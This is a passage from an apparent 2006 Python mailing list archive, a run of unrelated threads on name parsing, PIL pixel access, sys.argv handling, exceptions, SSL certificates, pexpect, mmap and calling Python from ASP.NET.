(2) Arabic names: you may or may not have their father's name. You
might not even have the [usually only one] given name. For example: the
person who was known as Abu Musab al-Zarqawi: this means "father of
Musab, the man from Zarqa [a city in Jordan]". You may have the family
name as well as the father's and grandfather's given name. You can have
the occupation, honorifics, nicknames. For a brief overview, read this:
http://en.wikipedia.org/wiki/Arabic_names

>
> I wonder if we need another "middle" field for holding the "bin/binte" part
> (could also hold, e.g. "Van" for those names that use this).

Not a good idea, IMHO. Consider "Nguyen Van Tran" vs 'Rembrandt van
Rijn". Would you peel the Da off Da Costa but not the D' off
D'Oliveiro? What do you do with the bod who fills in a form as Dermot
O'Sullivan one month and Diarmaid ? S?illeabh?in the next?

>
> There would also need to be a flag field to indicate the canonical ordering
> for writing out the full name: e.g. family-name-first, given-names-first.
> Do we need something else for the Vietnamese case?

As I said before, it depends on the application. In some applications,
it will be preferable to capture, in one field, the whole name as
supplied by the person, together with clues like nationality and place
of birth that will help in parsing it later. However if all you want to
do is post out the electricity bill to an address that your
meter-reader has verified, then you can afford to be a  little casual
with the name.

This is all a bit OT.  Before we close the thread down, let me leave
you with one warning:
Beware of enthusiastic maintenance programmers on a mission to clean up
the dirty names in your database:
E.g. (1) "Karim bin Md" may not appreciate getting a letter addressed
to "Dr Karim Bin" (Md is an abbreviation of Muhammad).
E.g. (2) Billing job barfs on a customer who has no given names and no
family name. Inspection reveals that he is over-endowed in the title
department: "Mr Earl King".

Cheers,
John



From steve at holdenweb.com  Mon Oct 23 18:58:21 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 23:58:21 +0100
Subject: How to get each pixel value from a picture file!
In-Reply-To: <1161643563.111993.109480@b28g2000cwb.googlegroups.com>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>	<mailman.1013.1161637584.11739.python-list@python.org>
	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
Message-ID: <ehjhcc$nji$1@sea.gmane.org>

Lucas wrote:
> Thank you for your answer.
> 
> I have some new questions:
> 
> 1)  the value of return from getpixel() is a RGB number?
>          print im.getpixel((44,55))   ----> (160,160,160)
> 
Yes, that's an RGB tuple.

> 2) I want to put a number into the picture for encryption(replace least
> significant bit (LSB) of image intensity with message bit).
> 
>     If i use putpixel((44,55),0) , the number 0 will be changed RGB
> value or others.?
> 
I think you'd need to use

     putpixel((44, 55), (0, 0, 0))

but it's easy enough to try out interactively ...

> 3)         pix = im.load()
>             print pix[44,55]
>             pix[44, 55] = value
>  my python cannt identify "[x,y]" ??
> 

Now what makes you think that an image can be addressed that way? I'd be 
quite surprised if yo got anything other than a TypeError doing that.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From rogue_pedro at yahoo.com  Sun Oct 22 17:11:04 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 22 Oct 2006 14:11:04 -0700
Subject: print dos format file into unix format
References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com>
Message-ID: <1161551463.988645.191080@i3g2000cwc.googlegroups.com>

PengYu.UT at gmail.com wrote:
> Suppose I have a dos format text file. The following python code will
> print ^M at the end. I'm wondering how to print it in unix format.
>
> fh = open(options.filename)
> for line in fh.readlines()
>   print line,
>
> Thanks,
> Peng

Python ships with two utility scripts, crlf.py and lfcr.py, that
"Replace CRLF with LF in argument files" and "Replace LF with CRLF in
argument files", respectively.

Look in examples/Tools/scripts of your python dist.

Even if you don't want to use the scripts, you can read them for
insight.

Peace,
~Simon



From ahmerhussain at gmail.com  Fri Oct 13 10:29:09 2006
From: ahmerhussain at gmail.com (Ahmer)
Date: 13 Oct 2006 07:29:09 -0700
Subject: Best IDE?
Message-ID: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>

What do you guys use?
Why?
What do you like and hate about it?
What platform(s) is it avalable on?
How much does it cost?
etc.



From steve at holdenweb.com  Tue Oct  3 23:54:13 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 04:54:13 +0100
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
Message-ID: <efvb7i$ksd$2@sea.gmane.org>

erikwickstrom at gmail.com wrote:
> Hi all,
> 
> I'm sorry about the newbie question, but I've been searching all
> afternoon and can't find the answer!
> 
> I'm trying to get this bit of code to work without triggering the
> IndexError.
> 
> import shutil, os, sys
> 
> if sys.argv[1] != None:
>     ver = sys.argv[1]
> else:
>     ver = '2.14'
> 
> Of course, whenever I run it, I get list index out of range.
> 
> I'm coming from the php world where I can do:
> if $_GET['var'] != Null {
>   $ver = $_GET['var'];
> } else {
>   $ver = '2.14';
> }
> 
> Can anyone tell me how to make this work in python?
> 
Well all the advice you've had so far seems good, but of course the 
simplest way is just to test the length of the sequence before you try 
to address its second element:

if len(sys.argv) > 1:
   ver = sys.argv[1]
else:
   ver = "2.14"

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From notejam at sbcglobal.net  Mon Oct 30 19:15:32 2006
From: notejam at sbcglobal.net (notejam)
Date: 30 Oct 2006 16:15:32 -0800
Subject: Python windows interactive.
In-Reply-To: <45467205.3000302@websafe.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
	<45467205.3000302@websafe.com>
Message-ID: <1162253732.035128.91060@e3g2000cwe.googlegroups.com>

Thanks everyone for the help.   I got a simple two line program to work
from a text file.
Can not figure out how to write more than one line in interpreter mode.
 Is that all interpreter is good for, testing one liners?  I have it
run the program everytime I hit return, and can not figure out how to
enter multiple lines of code.  I can do multiple lines in text file, so
no problem, but I am jsut wondering can a program with 2 or more lines
be wrote from the interpreter mode?





Larry Bates wrote:
> notejam wrote:
> > I am trying to get started with a interactive version of Python for
> > windows and need some help.
> > I have played with the tutorial, and now want to write a program.
> >
> > In basic language, I could write something like
> > 10 print "hello"
> > 20 print "Jim"
> >
> > and if I run it I would get
> > hello
> > Jim
> >
> > How do I do sometihing simple like that in python?
> > How do I enter line numbers, or if none, what do I do.
> > Can the interpreter load a text file with my program in it?
> > How do I list a program or the parts of a program I am interested in
> > looking at?
> >
> > How do I run a python program?
> >
> Start with the tutorial here:
>
> http://docs.python.org/tut/tut.html
>
> Your program in python would be:
>
> print "hello"
> print "jim"
>
> You don't have line numbers in Python
>
> Yes the interpreter can load a text file with your program.
> A good "beginners" version of Python for windows is:
>
> http://www.activestate.com/Products/ActivePython/?tn=1
>
> It has an easy to use interpreter window with both your
> program and interactive prompt open on the screen.
>
> To run a program you click run icon.  To run outside the
> interpreter you type python programname.py
> 
> -Larry



From bearophileHUGS at lycos.com  Mon Oct  2 11:56:09 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 08:56:09 -0700
Subject: Sort by domain name?
In-Reply-To: <mailman.1104.1159804122.10491.python-list@python.org>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
	<mailman.1104.1159804122.10491.python-list@python.org>
Message-ID: <1159804569.682265.241150@h48g2000cwc.googlegroups.com>

js:
> All I want to do is to sort out a list of url by companyname,
> like oreilly, ask, skype, amazon, google and so on, to find out
> how many company's url the list contain.

Then if you can define a good enough list of such company names, you
can just do a search of such names inside each url.
Maybe you can use string method, or a RE, or create a big string with
all the company names and perform a longest common subsequence search
using the stdlib function. 

Bye,
bearophile



From g.brandl-nospam at gmx.net  Mon Oct  9 09:45:08 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Mon, 09 Oct 2006 15:45:08 +0200
Subject: file system iteration
In-Reply-To: <egdg02$pcd$1@solaris.cc.vt.edu>
References: <egdg02$pcd$1@solaris.cc.vt.edu>
Message-ID: <egdjp5$7sm$1@news.albasani.net>

rick wrote:
> In Unix, the file system hierarchy is like a tree that has a base or 
> 'root' that exposes objects (files and folders) that can easily be 
> iterated over.
> 
> 
> \ \  |  / /
>   \ \ | / /
>    \ \|/ /
>     \ | /
>      \|/
>       |
>       |
>      Root
> 
> So, when I do os.chdir('/') I am at the base of the tree and can now use 
> something like os.walk() to work with all of the file system objects.
> 
> In Windows, the file system is disjointed and there is now real 'root' 
> At least none that I can see. It looks more like this:
> 
> | | | | | | |
> |_|_|_|_|_|_|
> A B C D E F G
> 
> How do you guys handle this when working with scripts that need to touch 
> all files and folders on a Windows machine? I've been looping through 
> A-Z like this:

Which application needs to walk over ALL files? Normally, you just have a
starting path and walk over everything under it.

In Unix, things aren't so clear either. For example, there are symbolic links
that make the tree more complicated. Or different file system mounted on
different mount points, perhaps not even representing real files like the
/proc filesystem. All that needs caution when iterating over "all files".

Georg


From fredrik at pythonware.com  Wed Oct 11 05:09:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 11:09:37 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>	<452cae13$0$24783$426a74cc@news.free.fr>
	<463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com>
Message-ID: <egicci$jtm$1@sea.gmane.org>

Theerasak Photha wrote:

  >> 2/ functions that returns a status code and modify their arguments.
> 
> Argument modification for lists with one item is *sometimes* used to
> emulate full lexical closure. (or at least that's what the folks on
> freenode #python told me)

sounds like they (or you) are confusing "arguments" with "free 
variables", though.  here's an example of the latter:

    def outer():
       var = [value]
       def inner():
           var[0] = new value
       inner()

here's an example of the former:

    def func(var):
        var[0] = new value
        return something else

    myvar = [value]
    res = func(myvar)

the second example feels rather contrived; if you need to return 
multiple values, just return them.

</F>



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 04:44:55 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 18:44:55 +1000
Subject: Problem Commenting within Filehandle Iteration
References: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net>
	<87vem7iirt.fsf@benfinney.id.au> <ehprta$3o6$1@sea.gmane.org>
Message-ID: <87mz7jihyw.fsf@benfinney.id.au>

Fredrik Lundh <fredrik at pythonware.com> writes:

> Ben Finney wrote:
>
> > My preferred answer:
> > 
> >     if m:
> >         print line,
> > 
> > and get the lines back again later from your version control system.
>
> switching debugging statements on and off by rolling back to an
> earlier release strikes me as a somewhat misguided use of version
> control.

That didn't seem to me to be a debugging statement being disabled, but
rather a "let's try changing the program this way".

-- 
 \     "[T]he question of whether machines can think [...] is about as |
  `\     relevant as the question of whether submarines can swim."  -- |
_o__)                                               Edsger W. Dijkstra |
Ben Finney



From chris.cavalaria at free.fr  Tue Oct  3 04:13:49 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Tue, 03 Oct 2006 10:13:49 +0200
Subject: Sockets in python
In-Reply-To: <1159858056.546645.4370@c28g2000cwb.googlegroups.com>
References: <1159557755.437424.44670@m73g2000cwd.googlegroups.com>
	<2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com>
	<1159858056.546645.4370@c28g2000cwb.googlegroups.com>
Message-ID: <45221ba3$0$3873$426a74cc@news.free.fr>

OneMustFall a ?crit :
> 
>> What's your set-up and which cord are you pulling?
>>
> 
> Well i now i think the clue is in the OS, i have sniffed and it seems
> that Twisted have no magic.
> It is seems that i simply tested things in a wrong way -
> when i pulled cord from ethernet card windows determined that network
> lost and started to closing all sockets opened to that network (and so
> EINVAL or other OS error raised when twisted tryed to read wrom that
> socket),
> while the server did had a network - and it was right thing that server
> was thinking that socket is alive.

Stupid Windows behaviour btw! I hate that, it makes testing code 
stability for temporary network lags much much harder to do.

And don't get me started on when we reboot the switch which causes all 
open sockets on my computer to fail, even though the reboot only takes a 
few seconds and though the internet connection doesn't change.


From gabrielg_laburando at yahoo.com.ar  Tue Oct  3 03:00:55 2006
From: gabrielg_laburando at yahoo.com.ar (Gabriel G)
Date: Tue, 03 Oct 2006 04:00:55 -0300
Subject: saving an exception
In-Reply-To: <efsrl4$sqo$2@sea.gmane.org>
References: <efsrl4$sqo$2@sea.gmane.org>
Message-ID: <7.0.1.0.0.20061003035648.0426cbe8@yahoo.com.ar>

At Tuesday 3/10/2006 02:15, Bryan wrote:

>i would like to save an exception and reraise it at a later time.
>def foo():
>?  ?  try:
>?  ?  ?  ?  1/0
>?  ?  except Exception, e:
>?  ?  ?  ?  exception = e
>
>if exception: raise exception
>
>with the above code, i'm able to successfully raise the exception, but the
>line number of the exception is at the place of the explicit raise instead
>of the where the exception originally occurred. ? is there anyway to fix
>this?

The raise statement has 3 arguments, the third 
being the traceback (not used so much, except in cases like yours).
You can get the values using sys.exc_info()
(Don't store the traceback more than needed 
because it holds a reference to all previous stack frames...)


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From alistair.king at helsinki.fi  Wed Oct 25 08:09:37 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Wed, 25 Oct 2006 15:09:37 +0300
Subject: dict problem
In-Reply-To: <87y7r4mwso.fsf@benfinney.id.au>
References: <mailman.1163.1161770037.11739.python-list@python.org>	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>
	<87y7r4mwso.fsf@benfinney.id.au>
Message-ID: <453F5401.3020607@helsinki.fi>

Ben Finney wrote:
> "Jon Clements" <joncle at googlemail.com> writes:
>
>   
>> We're still in the dark as to what you're trying to do, try
>> describing something like: "for each element there is an associated
>> 'F' value. For each element in an existing molecule I wish to change
>> the number of 'whatever' to be 'whatever' + my 'F' value * value
>> XDS..."
>>     
>
> Even better, work on a minimal program to do nothing but reproduce the
> unexpected behaviour. If you get to such a program and still don't
> understand, then post it here so others can run it themselves and
> explain.
>
>   
ive checked the values and XDS is actually returning a string where i
want a float ie '123.45' not 123.45.

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From steve at REMOVE.THIS.cybersource.com.au  Sun Oct 15 18:45:49 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Mon, 16 Oct 2006 08:45:49 +1000
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<9H1Yg.22570$Ij.4169@newssvr14.news.prodigy.com>
Message-ID: <pan.2006.10.15.22.45.47.851819@REMOVE.THIS.cybersource.com.au>

On Sat, 14 Oct 2006 09:00:53 +0000, James Stroud wrote:

> > Compared to the Python I know and love, Ruby isn't quite the same.
> > However, it has at least one terrific feature: "blocks".

[snip 220-odd quoted lines]

> http://mail.python.org/pipermail/python-list/2004-April/215805.html


Hi James,

You seem to have mislaid your snipper. It is very useful for when you're
replying to a very large post, and all you want to do is add a single line
at the end. It reduces frustration in readers who find themselves
scrolling, and scrolling, and scrolling, and scrolling through quoted text
they've already read, wondering why you've quoted all this stuff if you
aren't actually commenting on it, and prevents readers from unfairly
dismissing you as just another "metoobie".



-- 
Steven.



From jurian at juriansluiman.nl  Sun Oct 29 03:44:07 2006
From: jurian at juriansluiman.nl (Jurian Sluiman)
Date: Sun, 29 Oct 2006 09:44:07 +0100
Subject: Get pexpect to work
Message-ID: <pan.2006.10.29.08.44.06.380170@juriansluiman.nl>

Hi all,
For my first script, I'm trying to build a program to set up a vpn
connection. I'm using pexpect to handle this, but I can't get it to work.
The sendline() is causing troubles. I tested it in the interactive promt,
with these results:

>>> import pexpect
>>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf")
>>> child.expect(".* password .*: ")
0
>>> child.sendline("[here_my_password]")
7

After this peace of code, I don't have a vpn connection. A "child.logfile
= sys.stdout" gave the information that after the spawn, vpnc was asking
for a password. I'm sure my password was correct, but my outside ip address
hasn't been changed (what should be with this connection) and there was no
vpnc process running.

What's going wrong?

Thanks in advance,
Jurian Sluiman


From ask at me  Thu Oct 26 07:24:21 2006
From: ask at me (alf)
Date: Thu, 26 Oct 2006 07:24:21 -0400
Subject: displaying \n-less prompts in a pythonic way
Message-ID: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com>

Hi,

I have a command line program which also does some interaction with the 
user using stdin and stdout.

My requirement is to print prompt so the user can answer in the same 
line. Unfortunately:

  print 'enter command:',


does not really work as the comma is carried over to the following lines 
and the indentation gets messed up.


I can use sys.stdout.write('enter command:') instead but kind of do not 
like sys.stdout.write mixed up with print's statements used to display 
other informations.


Is there a pythonic solution for the problem?

Thx, alf


From heikki at osafoundation.org  Wed Oct 25 15:07:53 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Wed, 25 Oct 2006 12:07:53 -0700
Subject: SSL follow up
In-Reply-To: <mailman.1035.1161666486.11739.python-list@python.org>
References: <mailman.1035.1161666486.11739.python-list@python.org>
Message-ID: <VP2dnXYi8PbUK6LYnZ2dnUVZ_oydnZ2d@comcast.com>

Yogesh Chawla - PD wrote:
> I have 2 questions.  1) How do we get the Server cert
> in python.  John wrote: "Nor does there seem to be a
> way to get at the certificate itself from within
> Python."  Perhaps pycurl will allow us to do this.  Is
> there another method to get the server cert?

Here's an example with M2Crypto:

from M2Crypto import SSL

ctx = SSL.Context()
conn = SSL.Connection(ctx)
conn.connect(('www.verisign.com', 443))
cert = conn.get_peer_cert()

> 2) I like the idea of calling openssl in a subprocess.
>  Do you have any of those openssl commands handy?  If
> not, I can look through the documentation tommorrow.

I would be surprised if M2Crypto did not provide what you want. If it
doesn't, I'd be happy to add the functionality.

-- 
  Heikki Toivonen


From skip at pobox.com  Fri Oct 27 10:26:51 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 27 Oct 2006 09:26:51 -0500
Subject: Assertion failure on hotshot.stats.load()
In-Reply-To: <31672-10273@sneakemail.com>
References: <31672-10273@sneakemail.com>
Message-ID: <17730.5931.44742.127651@montanaro.dyndns.org>


    Yang> Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks
    Yang> several packages I depend on. I'm using Python 2.4.3.

Not a direct answer to your question, but the cProfile module runs just fine
under 2.4.

Skip


From onurb at xiludom.gro  Fri Oct 20 07:19:59 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 20 Oct 2006 13:19:59 +0200
Subject: help with my first use of a class
In-Reply-To: <mailman.829.1161336490.11739.python-list@python.org>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>	<4538942b$0$31252$426a74cc@news.free.fr>
	<mailman.829.1161336490.11739.python-list@python.org>
Message-ID: <4538b0e0$0$8661$426a74cc@news.free.fr>

Fredrik Lundh wrote:
> Bruno Desthuilliers wrote:
> 
>> First, notice that you *don't* need a class here to avoid globals.
>> Learning to use function as *functions* (ie: taking arguments and
>> returning values) instead of procedure would help:
>>
>> def random_quote(cursor):
>>  c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
> 
> make that "cursor.execute" (etc)

oops, sorry - not enough coffein, I guess.
Thanks for the correction.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From mail at microcorp.co.za  Sun Oct  1 05:23:54 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sun, 1 Oct 2006 11:23:54 +0200
Subject: storing variable names in a list before they are used?
References: <hQeTg.57$1n3.320@news.tufts.edu><451ea06c$0$14713$c3e8da3@news.astraweb.com><451eb97a$0$12859$c3e8da3@news.astraweb.com>
	<4rzTg.5009$o71.4172@newsread3.news.pas.earthlink.net>
Message-ID: <015c01c6e53c$922c19c0$03000080@hendrik>

"Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote:

> On Sat, 30 Sep 2006 14:33:35 -0400, John Salerno
> <johnjsal at NOSPAMgmail.com> declaimed the following in comp.lang.python:
>
> >
> > Ok, I'm sure you all get the idea by now, but here's a simpler way to
> > look at it:
> >
> > Instead of
> >
> > first_name = wx.TextCtrl(self)
> > last_name = wx.TextCtrl(self)
> > job_title = wx.TextCtrl(self)
> > etc.
> >
> > and subsequently:
> >
> > sizer.Add(first_name)
> > sizer.Add(last_name)
> > sizer.Add(job_title)
> > etc.
> >
> > I want to do something like this:
> >
> > for name in names:
> >      name = wx.TextCtrl(self)
> >      sizer.Add(name)
> >
> > It's just that I don't know how to handle the "name" variable in the
> > "names" list.
>
> Short blunt answer... You Don't

Longer, less blunt answer:

You could, if you wanted to, write:

errfile = "name_of_error_file_for_compile_statement"
expr = name+" = wx.TextCtrl(self)"
eval(compile(expr, errfile,'single'))

and the name that reads the same as the text string should be created.

To access it, you can then use:

sizer.Add(eval(name))

Example:

IDLE 1.1.3      ==== No Subprocess ====
>>> banana
Traceback (most recent call last):
  File "<pyshell#0>", line 1, in ?
    banana
NameError: name 'banana' is not defined
>>> name = "banana"
>>> errfile='errfile'
>>> expr = name+'="A yellow sickle shaped fruit"'
>>> eval(compile(expr,errfile,'single'))
>>> banana
'A yellow sickle shaped fruit'
>>> name
'banana'
>>> eval(name)
'A yellow sickle shaped fruit'
>>>

*ducks behind asbestos shelter to hide from the predicted flames *

But Seriously - I think eval is good for just this kind of purpose - does what
was wanted, namely creating the variable with the same name as the content of a
string... - its also useful to access a variable if you have been given its name
in a string, instead of being passed the thing itself - then you don't need the
compile bit...

Caveat Emptor

- Hendrik






From Roka100 at gmail.com  Mon Oct 30 07:08:07 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 30 Oct 2006 04:08:07 -0800
Subject: wxFrame don't have Bind attribute ??
In-Reply-To: <1162207693.058720.137580@i42g2000cwa.googlegroups.com>
References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
	<mailman.1480.1162205808.11739.python-list@python.org>
	<1162206945.246107.122390@h48g2000cwc.googlegroups.com>
	<1162207693.058720.137580@i42g2000cwa.googlegroups.com>
Message-ID: <1162210087.255048.145730@m73g2000cwd.googlegroups.com>


Frank Millman ??????:
> This works perfectly for me, using wxPython 2.6.3.2, on both Linux and
> Windows.
>
> What platform are you using?
Yes this works OK for me too on my FedoraCore 5, but cannot work on my
FedoraCore 6...



From fredrik at pythonware.com  Thu Oct 26 04:33:46 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 10:33:46 +0200
Subject: Problem Commenting within Filehandle Iteration
In-Reply-To: <87vem7iirt.fsf@benfinney.id.au>
References: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net>
	<87vem7iirt.fsf@benfinney.id.au>
Message-ID: <ehprta$3o6$1@sea.gmane.org>

Ben Finney wrote:

> My preferred answer:
> 
>     if m:
>         print line,
> 
> and get the lines back again later from your version control system.

switching debugging statements on and off by rolling back to an earlier 
release strikes me as a somewhat misguided use of version control.

</F>



From martin at v.loewis.de  Tue Oct 24 13:31:45 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 19:31:45 +0200
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161651103.875210.170140@i42g2000cwa.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161651103.875210.170140@i42g2000cwa.googlegroups.com>
Message-ID: <453E4E01.9050304@v.loewis.de>

sturlamolden schrieb:
> Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap"
> always sets the offset argument in Windows MapViewOfFile and UNIX to 0.
> This means that it is always mapping from the beginning of the file.
> Thus, Python's mmap module is useless for large files. This is really
> bad coding. The one that wrote mmapmodule.c didn't consider the
> posibility that a 64 bit file system like NTFS can harbour files to
> large to fit in a 32 address space. Thus,
> mmapmodule.c needs to be fixed before it can be used for large files.

You know this isn't true in general. It is true for a 32-bit address
space only.

Regards,
Martin


From bencvt at gmail.com  Tue Oct  3 02:18:42 2006
From: bencvt at gmail.com (Ben Cartwright)
Date: 2 Oct 2006 23:18:42 -0700
Subject: saving an exception
References: <mailman.1137.1159852536.10491.python-list@python.org>
Message-ID: <1159856322.138566.242490@e3g2000cwe.googlegroups.com>

Bryan wrote:
> i would like to save an exception and reraise it at a later time.
>
> something similar to this:
>
> exception = None
> def foo():
>     try:
>         1/0
>     except Exception, e:
>         exception = e
>
> if exception: raise exception
>
> with the above code, i'm able to successfully raise the exception, but the
> line number of the exception is at the place of the explicit raise instead
> of the where the exception originally occurred.  is there anyway to fix
> this?

Sure:  generate the stack trace when the real exception occurs.  Check
out sys.exc_info() and the traceback module.

import sys
import traceback

exception = None
def foo():
    global exception
    try:
        1/0
    except Exception:
        # Build a new exception of the same type with the inner stack
trace
        exctype = sys.exc_info()[0]
        exception = exctype('\nInner ' +
traceback.format_exc().strip())

foo()
if exception:
    raise exception

# Output:
Traceback (most recent call last):
  File "foo.py", line 15, in <module>
    raise exception
ZeroDivisionError:
Inner Traceback (most recent call last):
  File "foo.py", line 8, in foo
    1/0
ZeroDivisionError: integer division or modulo by zero

--Ben



From gole at e-hf.net  Fri Oct 20 11:21:32 2006
From: gole at e-hf.net (gole at e-hf.net)
Date: 20 Oct 2006 08:21:32 -0700
Subject: Python decorator article
Message-ID: <1161357692.589064.326690@h48g2000cwc.googlegroups.com>

Hello,

I am writing to point interested readers to a few short articles on
decorators:

Please find them here:

    http://muharem.wordpress.com/2006/10/18/3/

Best regards -- Muharem



From martin at v.loewis.de  Fri Oct 20 02:23:08 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 20 Oct 2006 08:23:08 +0200
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <mailman.706.1161192807.11739.python-list@python.org>
References: <mailman.706.1161192807.11739.python-list@python.org>
Message-ID: <45386B4C.4020001@v.loewis.de>

Christopher Taylor schrieb:
> This basically means to me that Python2.4 is loading gloab.py from
> /usr/lib64/Python2.3 insead of /usr/lib/Python2.4  (even thought I
> wanted to install the related files in /usr/lib64/Python2.4)
> 
> Can someome please help!

Can you please report what sys.path is? Do you have PYTHONPATH
set, by any chance? Python shouldn't normally look into the library
of a totally unrelated installation.

Regards,
Martin


From heikki at osafoundation.org  Wed Oct 18 00:58:51 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Tue, 17 Oct 2006 21:58:51 -0700
Subject: httplib and HTTPS Connections
In-Reply-To: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
Message-ID: <1oGdnaTye-JRKajYnZ2dnUVZ_vqdnZ2d@comcast.com>

runningwild wrote:
> This is the first time I have cared about httplib's HTTPSConnection.

Please note that the Python builtin SSL support is not really secure. It
does not make sure that you connect to the site you think you are
connecting to, for example.

If you really need secure SSL (what is the point of SSL if not secure I
ask) you should look at other Python modules. There are several to
choose from, for example M2Crypto (I am the maintainer of that), TLS
Lite, PyOpenSSL, PyOpenSSL-extended, and possibly others that I am
forgetting right now.

-- 
  Heikki Toivonen


From mesmith.15507218 at bloglines.com  Fri Oct 27 09:45:38 2006
From: mesmith.15507218 at bloglines.com (Mark)
Date: Fri, 27 Oct 2006 08:45:38 -0500
Subject: [Fwd: Using cElementTree and elementtree.ElementInclude]
Message-ID: <45420D82.10700@bloglines.com>



-------- Original Message --------
Subject: Using cElementTree and elementtree.ElementInclude
Date: Mon, 23 Oct 2006 09:40:24 -0500
From: Mark E. Smith <mark.e.smith at arnold.af.mil>
Organization: AEDC
To: python-list at python.org

> cElementTree cannot hold ElementTree instances.
>
> can you post a small but self-contained example showing how you got this
> error?

> </F>



#from elementtree.ElementTree import ElementTree, dump # This works
from cElementTree import ElementTree, dump # This does not
from elementtree import ElementInclude

etree = ElementTree(file='xml_in.xml').getroot()
dump(etree)

ElementInclude.include(etree)
dump(etree)

for child in etree.find('./included_root').findall('./*'):
    # Copy the child down to the root
    etree.append(child)
# Remove the root/included_root
etree.remove(etree.find('./included_root'))
dump(etree)


<!--xml_in.xml-->
<root  xmlns:xi="http://www.w3.org/2001/XInclude">
     <child name="first"/>
     <xi:include href="xml_included.xml"/>
</root>

<!--xml_included.xml-->
<included_root>
    <child name="second"/>
    <child name="third"/>
</included_root>


Thanks for the help.
Mark



From grflanagan at yahoo.co.uk  Sat Oct  7 05:46:31 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 7 Oct 2006 02:46:31 -0700
Subject: How to execute a python script in .NET application
In-Reply-To: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
Message-ID: <1160214391.120548.143740@c28g2000cwb.googlegroups.com>


Chandra wrote:

> Hi,
>
> Is there a way to execute a python script(file) in ASP.NET application
> (programmatically)??
>
> Regards,
> Chandra


I thought IIS would prevent this, but the following works for me at
home (ASP.NET 1.1). A production setup may be a different matter.

using System.Diagnostics

	public class WebForm1 : System.Web.UI.Page
	{
		protected System.Web.UI.WebControls.Label Label1;

		private void Page_Load(object sender, System.EventArgs e)
		{
			ProcessStartInfo startInfo;
			Process process;
			string directory = @"c:\python\python24\Lib\site-packages";
			string script = "test.py";

